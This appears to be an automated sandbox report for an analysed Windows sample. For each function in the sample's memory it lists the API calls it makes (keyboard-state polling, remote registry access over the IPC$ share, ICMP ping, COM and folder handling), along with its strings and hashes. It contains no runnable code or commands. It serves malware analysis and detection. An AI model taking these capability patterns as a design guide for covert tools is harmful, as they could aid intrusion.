Function 009F9838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 009F9944: GetWindowLongW.USER32(?,000000EB), ref: 009F9952

GetSysColor.USER32(0000000F), ref: 009F9862

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: e13a0aefa7f7d084c6c5be45827c390c85cdd0311401726c8ef4f45c268b4a00
Instruction ID: f93c52bd1f700f77c061a59f38fddbd3805ec5e207953ad306f2e3eb2092edc0
Opcode Fuzzy Hash: e13a0aefa7f7d084c6c5be45827c390c85cdd0311401726c8ef4f45c268b4a00
Instruction Fuzzy Hash: CB41D531104648AFDB309F789C88BB93BA9FB46370F548619FAA6871E1D7719D82DB10

Function 00A496E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,00A2F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00A49717
LoadStringW.USER32(00000000,?,00A2F7F8,00000001), ref: 00A49720

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,00A2F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00A49742
LoadStringW.USER32(00000000,?,00A2F7F8,00000001), ref: 00A49745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00A49866

Strings

^ ERROR, xrefs: 00A497FB
Line %d:, xrefs: 00A497A0
Error: , xrefs: 00A4981D
Line %d (File "%s"):, xrefs: 00A4978F
%s (%d) : ==> %s: %s %s, xrefs: 00A4984A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 997647c725e8f1a49f519a66aa1f0658330416ccafcdbab50609f63077482b8a
Instruction ID: a7828ec831a8f5ee5c5899d85edcf493e08ba89f146e06a4059f694b272f21d0
Opcode Fuzzy Hash: 997647c725e8f1a49f519a66aa1f0658330416ccafcdbab50609f63077482b8a
Instruction Fuzzy Hash: 71415D72800249AACF15EBE1DE86EEF7778AF95340F604425B605720A2EB356F49CB61

Function 00A406DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 009E6B57: _wcslen.LIBCMT ref: 009E6B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00A407A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00A407BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00A407DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00A40804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 00A4082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00A40837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00A4083C

Strings

\CLSID, xrefs: 00A40724
\IPC$, xrefs: 00A40784
SOFTWARE\Classes\, xrefs: 00A4070E

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: e5697a8d08daada00c2be721b0c365d7373d4c5f7be7400b2607c5745f7df88b
Instruction ID: 428bc075b558e5c135dc31e5617a7c345f76edadbf476f33c447f26b7072897e
Opcode Fuzzy Hash: e5697a8d08daada00c2be721b0c365d7373d4c5f7be7400b2607c5745f7df88b
Instruction Fuzzy Hash: 14412A76C10229ABCF15EFA4DC85DEEB778FF84350F544129E905A71A1EB30AE45CBA0

Function 00A63C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00A63C5C
CoInitialize.OLE32(00000000), ref: 00A63C8A
CoUninitialize.OLE32 ref: 00A63C94
_wcslen.LIBCMT ref: 00A63D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00A63DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00A63ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00A63F0E
CoGetObject.OLE32(?,00000000,00A7FB98,?), ref: 00A63F2D
SetErrorMode.KERNEL32(00000000), ref: 00A63F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00A63FC4
VariantClear.OLEAUT32(?), ref: 00A63FD8

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: d8045e23f0d55e40d2e17245ba25cd0d5e551c0a9fd75cb5b94d68a56cbd60a5
Instruction ID: 1ed422c5168fbaf92dc53431bdfc159da67357c7231f89c8f47002143efa41d9
Opcode Fuzzy Hash: d8045e23f0d55e40d2e17245ba25cd0d5e551c0a9fd75cb5b94d68a56cbd60a5
Instruction Fuzzy Hash: 88C13472608205AFDB00DF68C88492BB7F9FF89754F10491DF98A9B251DB31EE46CB52

Function 00A57A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00A57AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00A57B8F
SHGetDesktopFolder.SHELL32(?), ref: 00A57BA3
CoCreateInstance.OLE32(00A7FD08,00000000,00000001,00AA6E6C,?), ref: 00A57BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00A57C74
CoTaskMemFree.OLE32(?,?), ref: 00A57CCC
SHBrowseForFolderW.SHELL32(?), ref: 00A57D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00A57D7A
CoTaskMemFree.OLE32(00000000), ref: 00A57D81
CoTaskMemFree.OLE32(00000000), ref: 00A57DD6
CoUninitialize.OLE32 ref: 00A57DDC

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 297d368f80a40e6550decdc2ee80465ad3d8eadb6b59ee893c1c1d8d042c8bb0
Instruction ID: 85b21e1c026b058cc72f349d5052106fa2d3e6c7d49a9ef922b8d6892b95fbe5
Opcode Fuzzy Hash: 297d368f80a40e6550decdc2ee80465ad3d8eadb6b59ee893c1c1d8d042c8bb0
Instruction Fuzzy Hash: 5EC11C75A04109AFCB14DFA4D884DAEBBF9FF48315B148499F81AAB261DB30ED45CF90

Function 00A7541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00A75504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A75515
CharNextW.USER32(00000158), ref: 00A75544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00A75585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00A7559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A755AC

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: d5d13ac424074fa256a563521b73c8ab5dfecbf414a941e07b1ab425a9291d53
Instruction ID: 4e8045dde4806d1474f4e79720d4f1d7a2b662657316645168a400e2ccef09a4
Opcode Fuzzy Hash: d5d13ac424074fa256a563521b73c8ab5dfecbf414a941e07b1ab425a9291d53
Instruction Fuzzy Hash: C3618071D00608EFDF10DFA4CC84AFE7BB9EB05761F10C149F629A6291D7B49A81DB60

Function 00A3FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00A3FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 00A3FB08
VariantInit.OLEAUT32(?), ref: 00A3FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00A3FB3A
VariantCopy.OLEAUT32(?,?), ref: 00A3FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00A3FBA1
VariantClear.OLEAUT32(?), ref: 00A3FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 00A3FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00A3FBCC
VariantClear.OLEAUT32(?), ref: 00A3FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00A3FBE9

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 4f6769b07ad157c3487f92ea3750bdc9c605c8d6844fcf698ba027c7087eefc9
Instruction ID: 161c65306999d0a069840c20a6e314ab02315e18f3d98f29980bf1bc8a37d3ea
Opcode Fuzzy Hash: 4f6769b07ad157c3487f92ea3750bdc9c605c8d6844fcf698ba027c7087eefc9
Instruction Fuzzy Hash: 23414275E102199FCB00DFA8DC589AEBBB9FF48354F008069F956A7261D730AA46CF90

Function 00A49C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00A49CA1
GetAsyncKeyState.USER32(000000A0), ref: 00A49D22
GetKeyState.USER32(000000A0), ref: 00A49D3D
GetAsyncKeyState.USER32(000000A1), ref: 00A49D57
GetKeyState.USER32(000000A1), ref: 00A49D6C
GetAsyncKeyState.USER32(00000011), ref: 00A49D84
GetKeyState.USER32(00000011), ref: 00A49D96
GetAsyncKeyState.USER32(00000012), ref: 00A49DAE
GetKeyState.USER32(00000012), ref: 00A49DC0
GetAsyncKeyState.USER32(0000005B), ref: 00A49DD8
GetKeyState.USER32(0000005B), ref: 00A49DEA

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: e3c1a407d3d659e80c5508748466b17b812bf3776daa209eca201e1c4bf9d329
Instruction ID: 4aa6449ad436891a2999323b564dc0ad5e2a199df216ce16e473f0dd3890caa6
Opcode Fuzzy Hash: e3c1a407d3d659e80c5508748466b17b812bf3776daa209eca201e1c4bf9d329
Instruction Fuzzy Hash: AD41F8389047C96DFF30CB6088447B7BEA06F91354F04805EDAC6565C2DBA599E8C7A2

Function 00A6055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00A605BC
inet_addr.WSOCK32(?), ref: 00A6061C
gethostbyname.WSOCK32(?), ref: 00A60628
IcmpCreateFile.IPHLPAPI ref: 00A60636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00A606C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00A606E5
IcmpCloseHandle.IPHLPAPI(?), ref: 00A607B9
WSACleanup.WSOCK32 ref: 00A607BF

Strings

Ping, xrefs: 00A60676

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 71bb8aeb7656944bd70985202d7631a84589a0876a3e33426cdb6014a4ed78d6
Instruction ID: 3e03e4cb80af9fa41b6adb76c68404940334bf55e40099debcab7d2ba1bfd60e
Opcode Fuzzy Hash: 71bb8aeb7656944bd70985202d7631a84589a0876a3e33426cdb6014a4ed78d6
Instruction Fuzzy Hash: A7919D756046419FD320CF15D888F1BBBF0AF84318F1485A9F4AA8B6A2CB70ED85CF91

Function 00A68CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00A68CF3

Part of subcall function 00A48E54: _wcslen.LIBCMT ref: 00A48E77

_wcslen.LIBCMT ref: 00A68D4E
_wcslen.LIBCMT ref: 00A68D9C
_wcslen.LIBCMT ref: 00A68DDC
_wcslen.LIBCMT ref: 00A68E6E

Strings

winapi, xrefs: 00A68D96, 00A68D9B
stdcall, xrefs: 00A68DD6, 00A68DDB
cdecl, xrefs: 00A68D48, 00A68D4D
none, xrefs: 00A68E65, 00A68E6A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 6e829624ca566f3f3ca3f0634c943fc7baaefab78d943993e5a5e6d3a9c90d87
Instruction ID: f4a0194ce7ee44dc3d7b95739c6de8b7e890598476035d06b06930e734a0cf99
Opcode Fuzzy Hash: 6e829624ca566f3f3ca3f0634c943fc7baaefab78d943993e5a5e6d3a9c90d87
Instruction Fuzzy Hash: 2E51B271A001169BCF24DF6CC9509BEB7B9BF65764B204329E926E72C4DB39DD40C790

Function 00A6372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00A63774
CoUninitialize.OLE32 ref: 00A6377F
CoCreateInstance.OLE32(?,00000000,00000017,00A7FB78,?), ref: 00A637D9
IIDFromString.OLE32(?,?), ref: 00A6384C
VariantInit.OLEAUT32(?), ref: 00A638E4
VariantClear.OLEAUT32(?), ref: 00A63936

Strings

Invalid parameter, xrefs: 00A63865
Failed to create object, xrefs: 00A637E4, 00A6389A
NULL Pointer assignment, xrefs: 00A6381E

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 26a78db54bb7c551d47bb61cc614f979cc680b406dd0664c4f5900257b751af8
Instruction ID: dbd74e508b8a13c79b1d401a04cc986d097032b6ca9ef59fe9ff011c035ac919
Opcode Fuzzy Hash: 26a78db54bb7c551d47bb61cc614f979cc680b406dd0664c4f5900257b751af8
Instruction Fuzzy Hash: F1618E72608311AFD711DF54C889BAABBF4EF89710F10481DF9859B291D770EE4ACB92

Function 00A58195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00A58257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00A58267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00A58273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00A58310
SetCurrentDirectoryW.KERNEL32(?), ref: 00A58324
SetCurrentDirectoryW.KERNEL32(?), ref: 00A58356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00A5838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00A58395

Strings

*.*, xrefs: 00A5839B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 9eae3f20488b5f2437318da6b74df0d24576c841f510d37e7812f01a13316462
Instruction ID: 6c334b8f22aa878678b5de635d77b87f23b17f44381f8f239927ff8d8b8910a9
Opcode Fuzzy Hash: 9eae3f20488b5f2437318da6b74df0d24576c841f510d37e7812f01a13316462
Instruction Fuzzy Hash: A7617BB25043459FC710EF64C840AAFB3E8FF89320F04892EF99997251DB35E949CB92

Function 00A53388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00A533CF

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00A533F0

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00A53504
Error: , xrefs: 00A534D1
Incorrect parameters to object property !, xrefs: 00A534AB
"%s" (%d) : ==> %s:, xrefs: 00A53522
Line %d (File "%s"):, xrefs: 00A53443, 00A5345C
^ ERROR , xrefs: 00A5349E

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: d2d9d5f0f93328c6c5aee427d32670c76cfb244371ce62078b42ad7f89f6ee17
Instruction ID: 391109de315d9c80be03173e115820fb77a9e2ff7282fda842f1d7dd2d21c46a
Opcode Fuzzy Hash: d2d9d5f0f93328c6c5aee427d32670c76cfb244371ce62078b42ad7f89f6ee17
Instruction Fuzzy Hash: 39519F32900149BADF16EBE0CD46EEEB7B8BF94340F648565B505720A2EB312F58CB60

Function 00A4B5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00A4B5FC
_wcslen.LIBCMT ref: 00A4B608
_wcslen.LIBCMT ref: 00A4B64D
_wcslen.LIBCMT ref: 00A4B68C
_wcslen.LIBCMT ref: 00A4B6C7

Strings

EXISTS, xrefs: 00A4B686, 00A4B68B
REMOVE, xrefs: 00A4B602, 00A4B607
KEYS, xrefs: 00A4B647, 00A4B64C
APPEND, xrefs: 00A4B6C1, 00A4B6C6

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: d78d0fb8ccd3a0a690f88110b1294f0b66dcb5a10b55afe457d36522f2148164
Instruction ID: e79bac26af3064208a5b9c67861d2fcb38a436152e4010c648d9cef012ddb678
Opcode Fuzzy Hash: d78d0fb8ccd3a0a690f88110b1294f0b66dcb5a10b55afe457d36522f2148164
Instruction Fuzzy Hash: BB410636A210269BCB209F7DCD905BEF7B5BFE1794B264529E821D7284E731CD81C7A0

Function 00A55393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00A553A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00A55416
GetLastError.KERNEL32 ref: 00A55420
SetErrorMode.KERNEL32(00000000,READY), ref: 00A554A7

Strings

UNKNOWN, xrefs: 00A55444
INVALID, xrefs: 00A55459
READY, xrefs: 00A55460, 00A55468
READONLY, xrefs: 00A55452
NOTREADY, xrefs: 00A5544B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

